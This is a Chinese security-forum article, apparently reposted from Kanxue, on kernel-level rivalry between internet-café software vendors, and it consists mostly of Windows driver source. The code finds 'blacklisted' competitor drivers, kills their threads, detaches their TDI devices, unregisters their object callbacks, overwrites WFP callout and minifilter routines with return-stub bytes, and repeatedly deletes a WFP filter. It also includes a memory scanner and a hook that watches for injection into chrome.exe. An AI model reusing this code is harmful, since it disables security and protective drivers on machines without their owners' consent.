网吧业务竞争激烈,网吧都会有以下系统软件。
下面介绍下Ring3到Ring0的网络分层结构:
过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。
Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。
Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)
Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。
当然还有Provider。它只用于管理, 不参与网络数据的过滤。
再说下对抗网络过滤驱动:
//获取tdi钩子并移除------------------------------------
UNICODE_STRING uniNtNameString;
PDEVICE_OBJECT pTargetDeviceObject = NULL;
PFILE_OBJECT pTargetFileObject = NULL;
PDEVICE_OBJECT pTdxXxDevObj = NULL;
for (int i = 0; i < 2; i++)
{
if (i == 0) //TCP
{
RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME);
pTdxXxDevObj = g_pTdxTcpDevObj;
}
else //UDP
{
RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME);
pTdxXxDevObj = g_pTdxUdpDevObj;
}
status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject);
if (NT_SUCCESS(status))
{
if (pTargetFileObject)
ObDereferenceObject(pTargetFileObject);
KdPrint(("%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%pn",
i == 0 ? "TCP" : "UDP",
&(pTargetDeviceObject->DriverObject->DriverName),
pTargetDeviceObject->DriverObject,
pTargetDeviceObject));
WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer,
szDriverPath, sizeof(szDriverPath));
nKillOrSuspendThread = pnKillCallback = 0;
if (IsBlackDriver((ULONG_PTR)pTargetDeviceObject->DriverObject->DriverStart,
pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
{
KdPrint(("Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%prn",
szDriverPath, (PVOID)ulBase, (PVOID)ulSize));
if (nKillOrSuspendThread & NormalKill)
KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath);
if (nKillOrSuspendThread & SpecialKill) //某清x卫士
KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, "pci.sys");
if (pnKillCallback & KillTdiCallback)
{
if (pTdxXxDevObj && pTdxXxDevObj->AttachedDevice
&& (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject))
{
IoDetachDevice(pTdxXxDevObj);
KdPrint(("Remove TdiCallback!rn"));
}
}
}
}
else
{
KdPrint(("%s IoGetDeviceObjectPointer error:0x%x!", i == 0 ? "TCP" : "UDP", status));
pTargetFileObject = NULL;
pTargetDeviceObject = NULL;
}
}
VOID GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj,
PDEVICE_OBJECT* ppUdpDevObj)
{
NTSTATUS status;
UNICODE_STRING tdx_name, tcp_name, udp_name;
PDRIVER_OBJECT pTdxDriver = NULL;
PDEVICE_OBJECT pDevObj = NULL;
PUNICODE_STRING pObjectName = NULL;
ULONG ulReturLength = 0;
RtlInitUnicodeString(&tcp_name, L"\Device\Tcp");
RtlInitUnicodeString(&udp_name, L"\Device\Udp");
status = ObReferenceObjectByName(&tdx_name,
OBJ_CASE_INSENSITIVE,
NULL,
0,
(POBJECT_TYPE)(*IoDriverObjectType),
KernelMode,
NULL,
(PVOID*)&pTdxDriver);
if (pTdxDriver)
{
pDevObj = pTdxDriver->DeviceObject;
while (pDevObj) // iterate through DEVICE_OBJECT
{ // linked list
status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, 'hwb');
if (!pObjectName)
return;
status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength);
if (status == STATUS_SUCCESS)
{
if (RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE))
{
if (!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE))
{
//ObfReferenceObject(pDevObj);
if (ppUdpDevObj)
*ppUdpDevObj = pDevObj; // Save pointer to DeviceUdp
}
}
else
{
//ObfReferenceObject(pDevObj);
if (ppTcpDevObj)
*ppTcpDevObj = pDevObj; // Save pointer to DeviceTcp
}
}
ExFreePoolWithTag(pObjectName, 'hwb');
}
pDevObj = pDevObj->NextDevice; // get pointer to next DEVICE_OBJECT
// in the list
}
ObfDereferenceObject(pTdxDriver);
}
}
NTSTATUS EnumerateWfpCallbacks()
{
NTSTATUS status = STATUS_SUCCESS;
ULONG_PTR ulDriverBase= GetMemoryDriverBase("netio.sys");
ULONG_PTR ulFeGetWfpGlobalPtrAddress=
GetAddressFromFunction((PVOID)ulDriverBase, "FeGetWfpGlobalPtr");
KdPrint(("FeGetWfpGlobalPtr地址:0x%prn", ulFeGetWfpGlobalPtrAddress));
if (ulFeGetWfpGlobalPtrAddress && MmIsAddressValid((PVOID)ulFeGetWfpGlobalPtrAddress))
{
//0: kd > uf netio!FeGetWfpGlobalPtr
//NETIO!FeGetWfpGlobalPtr:
//fffff807`39b99210 488b0549130500 mov rax, qword ptr[NETIO!gWfpGlobal(fffff807`39bea560)]
//fffff807`39b99217 c3 ret
ULONG_PTR ul_gWfpGlobal = (ULONG_PTR)(*(PULONG)(ulFeGetWfpGlobalPtrAddress + 3)) +
ulFeGetWfpGlobalPtrAddress + 7; //7为指令长度
if (ul_gWfpGlobal && MmIsAddressValid((PVOID)ul_gWfpGlobal))
{
KdPrint(("gWfpGlobal地址:0x%prn", ul_gWfpGlobal));
int nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0;
int nCount = 0;
GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize);
//dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50
for (int i = 0; i < nEntriesNum; i++)
{
ULONG_PTR ulClassifyAddress = *(PULONG64)(*(PULONG64)ul_gWfpGlobal +
nCalloutStructOffset) + nCalloutStructSize * i + 16;
KdPrint(("ClassifyAddress地址:0x%prn", *(PULONG_PTR)ulClassifyAddress));
if (*(PULONG_PTR)ulClassifyAddress)
nCount++;
}
KdPrint(("总共%d个Calloutrn", nCount));
}
else
KdPrint(("获得gWfpGlobal地址错误!rn"));
}
else
KdPrint(("获得FeGetWfpGlobalPtr地址错误!rn"));
return status;
}
if (ulClassifyAddress && MmIsAddressValid((PVOID)ulClassifyAddress))
{
ULONG_PTR ulClassifyFunction = *(PULONG_PTR)ulClassifyAddress;
KdPrint(("ClassifyAddress地址:0x%prn", ulClassifyFunction));
if (ulClassifyFunction)
nCount++;
if (ulClassifyFunction && MmIsAddressValid((PVOID)ulClassifyFunction))
{
if (FindModuleByAddress(pSysModuleList, ulClassifyFunction,
szDriverPath, &ulBase, &ulSize))
{
KdPrint(("Driver is:%srn", szDriverPath));
nKillOrSuspendThread = pnKillCallback = 0;
//判断是否竞品
if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
{
KdPrint(("Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%prn",
szDriverPath, (PVOID)ulBase, (PVOID)ulSize));
//先干掉保护线程
if (nKillOrSuspendThread & NormalKill)
KillDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, szDriverPath);
if (nKillOrSuspendThread & SpecialKill) //某清x卫士
KillDummyDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, "pci.sys");
//再Patch竞品钩子
if (pnKillCallback & KillWFP)
{
//Patch
/*0xFFFFF80619911940 48 8B 44 24 38 mov rax, qword ptr[rsp + 0x38]
0xFFFFF80619911945 C7 00 02 10 00 00 mov dword ptr[rax], 0x1002
0xFFFFF8061991194B C3 ret*/
char szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02,
0x10,0x00,0x00,0xC3 };
SafeCopyMemory((PVOID)ulClassifyFunction, szPatchCode, 12);
KdPrint(("Remove WFPCallout Successrn"));
}
}
}
}
}
// 删除指定的 WFP Filter
DWORD DeleteWFPFilter(const GUID& filterKey) {
DWORD result = NO_ERROR;
HANDLE engineHandle = NULL;
FWPM_FILTER0 filter = { 0 };
// 打开 WFP Engine
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);
if (result != NO_ERROR) {
std::cerr << "Failed to open WFP engine. Error code: " << result << std::endl;
return result;
}
// 根据 Filter Key 构建 Filter 条件
filter.filterKey = filterKey;
// 删除 Filter
result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey);
if (result != NO_ERROR) {
std::cerr << "Failed to delete WFP filter. Error code: " << result << std::endl;
}
// 关闭 WFP Engine
FwpmEngineClose0(engineHandle);
return result;
}
int main() {
// 要删除的 WFP Filter 的 Key
//{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B}
GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } };
while (true)
{
// 删除 WFP Filter
DWORD result = DeleteWFPFilter(filterKey);
if (result == NO_ERROR) {
std::cout << "WFP filter deleted successfully." << std::endl;
}
Sleep(3000);
}
return 0;
}
BOOL SearchMem(const HANDLE& process, BYTE* lpData, int iSize,
URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls,
std::unordered_set<std::string>& sJsInjectUrls)
{
SYSTEM_INFO si;
GetSystemInfo(&si);
ULONG_PTR start = (ULONG_PTR)si.lpMinimumApplicationAddress;
ULONG_PTR end = (ULONG_PTR)si.lpMaximumApplicationAddress;
MEMORY_BASIC_INFORMATION info;
SIZE_T bytesRead = 0;
ULONG_PTR readIndex = start;
int totalBytesRead = 0;
BOOL bFind = FALSE;
int iFlag = 0;
while (readIndex < end)
{
if (VirtualQueryEx(process, (LPCVOID)readIndex, &info, sizeof(info)) == 0) {
_printf("VirtualQueryEx==0!!!");
break;
}
readIndex = (ULONG_PTR)info.BaseAddress;
if (info.State != MEM_COMMIT
|| info.Type != MEM_PRIVATE) //扫描的无模块内存
{
readIndex += info.RegionSize;
continue;
}
SIZE_T bytesToRead = info.RegionSize;
char* buffer = new char[bytesToRead];
if (!buffer)
{
_printf("分配内存失败!rn");
return FALSE;
}
memset(buffer, 0, bytesToRead);
bytesRead = 0;
BOOL bReadSuccess = ReadProcessMemory(process, (LPCVOID)readIndex, buffer, bytesToRead, &bytesRead);
if (bytesRead && (bytesRead - iSize>0))
{
for (int i = 0; i < (bytesRead - iSize); i++)
{
if (memcmp(buffer + i, lpData, iSize) == 0)
{
if (enumUrlType == SCAN_MEM)
{
bFind = TRUE;
break;
}
}
}
}
if (!bReadSuccess)
{
if (bytesRead <= 0)
bytesRead = info.RegionSize;
}
totalBytesRead += bytesRead;
readIndex += bytesRead;
delete[] buffer;
}
return bFind;
}
NTSTATUS DdimonpHandleNtWriteVirtualMemory(
IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL)
{
HYPERPLATFORM_LOG_INFO_SAFE("enter DdimonpHandleNtWriteVirtualMemory!rn");
const auto original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory);
if (!original)
return STATUS_SUCCESS;
BOOL bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite,
NumberOfBytesWritten);
PEPROCESS pSourceEprocess = PsGetCurrentProcess();
if (!pSourceEprocess) {
DbgPrint("pSourceEprocess is null!rn");
return bSuccess;
}
PETHREAD pSourceEthread = PsGetCurrentThread();
if (!pSourceEthread) {
DbgPrint("pSourceEthread is null!rn");
return bSuccess;
}
HANDLE hSourcePid = PsGetProcessId(pSourceEprocess);
HANDLE hSourceTid = PsGetThreadId(pSourceEthread);
if ((LONG_PTR)ProcessHandle == -1) {
return bSuccess;
}
ULONG_PTR ulPid = HandleToPid(ProcessHandle);
CHAR szSrcImageFilePath[MAX_PATH] = {0};
WCHAR wzSrcImageFilePath[MAX_PATH] = {0};
GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH);
CHAR szDestImageFilePath[MAX_PATH] = {0};
WCHAR wzDestImageFilePath[MAX_PATH] = {0};
GetProcessImageFilePathSafeIrql((HANDLE)ulPid, wzDestImageFilePath, MAX_PATH);
//判断谁注入浏览器用
if (!_stricmp(szDestImageFilePath, "chrome.exe")) //以及其它浏览器进程exe
{
//若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串
int index = binaryStringSearch((char*)"vmp0", FALSE,
(char*)Buffer, (int)NumberOfBytesToWrite);
if (index != -1) {
KdPrint(
("NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
"源进程名:%s,目的进程名:%s,地址:0x%p,长度:%drn",
hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
} else {
KdPrint(
("NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
"源进程名:%s,目的进程名:%s,地址:0x%"
"p,长度:%drn",
hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
}
}
return bSuccess;
}
//获取Ob回调地址并移除
POB_CALLBACK pObCallback = NULL;
PVOID pObHandle[100] = { 0 };
int nObHandleCount = 0;
//获取Ob回调地址并移除
for (int i = 0; i < 2; i++)
{
LIST_ENTRY CallbackList;
if (i==0)
CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList;
else
CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList;
// 开始遍历
pObCallback = (POB_CALLBACK)CallbackList.Flink;
do
{
if (FALSE == MmIsAddressValid(pObCallback))
{
break;
}
if (NULL != pObCallback->ObHandle)
{
// 显示
KdPrint(("ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %prn",
pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall));
PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall;
if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
{
if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,
szDriverPath, &ulBase, &ulSize))
{
KdPrint(("Driver is:%srn", szDriverPath));
nKillOrSuspendThread = pnKillCallback = 0;
if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
{
KdPrint(("Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%prn",
szDriverPath, (PVOID)ulBase, (PVOID)ulSize));
if (nKillOrSuspendThread & NormalKill)
KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
if (nKillOrSuspendThread & SpecialKill) //某清x卫士
KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");
if (nKillOrSuspendThread & AdxxObProtectKill) //某hunter
KillAdHunterObProtectThread(ulBase, ulSize);
if (MmIsAddressValid(pObCallback->ObHandle))
{
if (pnKillCallback & KillObCallback)
{
if (nObHandleCount < sizeof(pObHandle) / sizeof(PVOID))
{
pObHandle[nObHandleCount] = pObCallback->ObHandle;
nObHandleCount++;
KdPrint(("Remove ObCallback!rn"));
}
}
}
}
}
}
}
// 获取下一链表信息
pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink;
} while (CallbackList.Flink != (PLIST_ENTRY)pObCallback);
}
for (int i=0;i< nObHandleCount;i++)
{
ObUnRegisterCallbacks(pObHandle[i]);
}
//minifilter钩子移除
ULONG ulFilterListSize = 0;
PFLT_FILTER* ppFilterList = NULL;
LONG lOperationsOffset = 0;
PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL;
lOperationsOffset = GetMinifilterOperationsOffset();
if (0 == lOperationsOffset)
{
KdPrint(("GetOperationsOffset Errorn"));
ExFreePool(pSysModuleList);
return;
}
// 获取 Minifilter 过滤器Filter 的数量
FltEnumerateFilters(NULL, 0, &ulFilterListSize);
ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool,
ulFilterListSize * sizeof(PFLT_FILTER), 'hwb');
if (NULL == ppFilterList)
{
KdPrint(("ExAllocatePoolWithTag Error!n"));
ExFreePool(pSysModuleList);
return;
}
// 获取 Minifilter 中所有过滤器Filter 的信息
status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize);
if (!NT_SUCCESS(status))
{
KdPrint(("FltEnumerateFilters Error![0x%X]n", status));
ExFreePool(pSysModuleList);
ExFreePool(ppFilterList);
return;
}
// 开始遍历 Minifilter 中各个过滤器Filter 的信息
__try
{
for (i = 0; i < (int)ulFilterListSize; i++)
{
// 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER
pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset));
__try
{
// 同一过滤器下的回调信息
//DbgPrint("-------------------------------------------------------------------------------n");
while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction)
{
{
PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation
? (PVOID)pFltOperationRegistration->PreOperation :
(PVOID)pFltOperationRegistration->PostOperation;
if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
{
KdPrint(("minifilter函数地址:0x%prn", pPreOrPostCall));
if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,
szDriverPath, &ulBase, &ulSize))
{
KdPrint(("Driver is:%srn", szDriverPath));
nKillOrSuspendThread = pnKillCallback = 0;
if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
{
KdPrint(("Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%prn",
szDriverPath, (PVOID)ulBase, (PVOID)ulSize));
if (nKillOrSuspendThread & NormalKill)
KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
if (nKillOrSuspendThread & SpecialKill) //某清x卫士
KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");
if (pnKillCallback & KillMinifilter)
{
//此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除
//pFltOperationRegistration->PreOperation = NULL;
//pFltOperationRegistration->PostOperation = NULL;
//Patch
char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; //xor rax,rax; ret
if (pFltOperationRegistration->PreOperation)
SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4);
if (pFltOperationRegistration->PostOperation)
SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4);
KdPrint(("Remove FileNotify Successrn"));
}
}
}
}
}
// 获取下一个消息回调信息
pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION));
}
//DbgPrint("-------------------------------------------------------------------------------n");
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[2_EXCEPTION_EXECUTE_HANDLER]n"));
}
FltObjectDereference(ppFilterList[i]); //记得一定要加此函数,否则卸载驱动会卡死
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[1_EXCEPTION_EXECUTE_HANDLER]n"));
}
看雪ID:yirucandy
https://bbs.kanxue.com/user-home-597552.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):网吧业务安全对抗(有源码)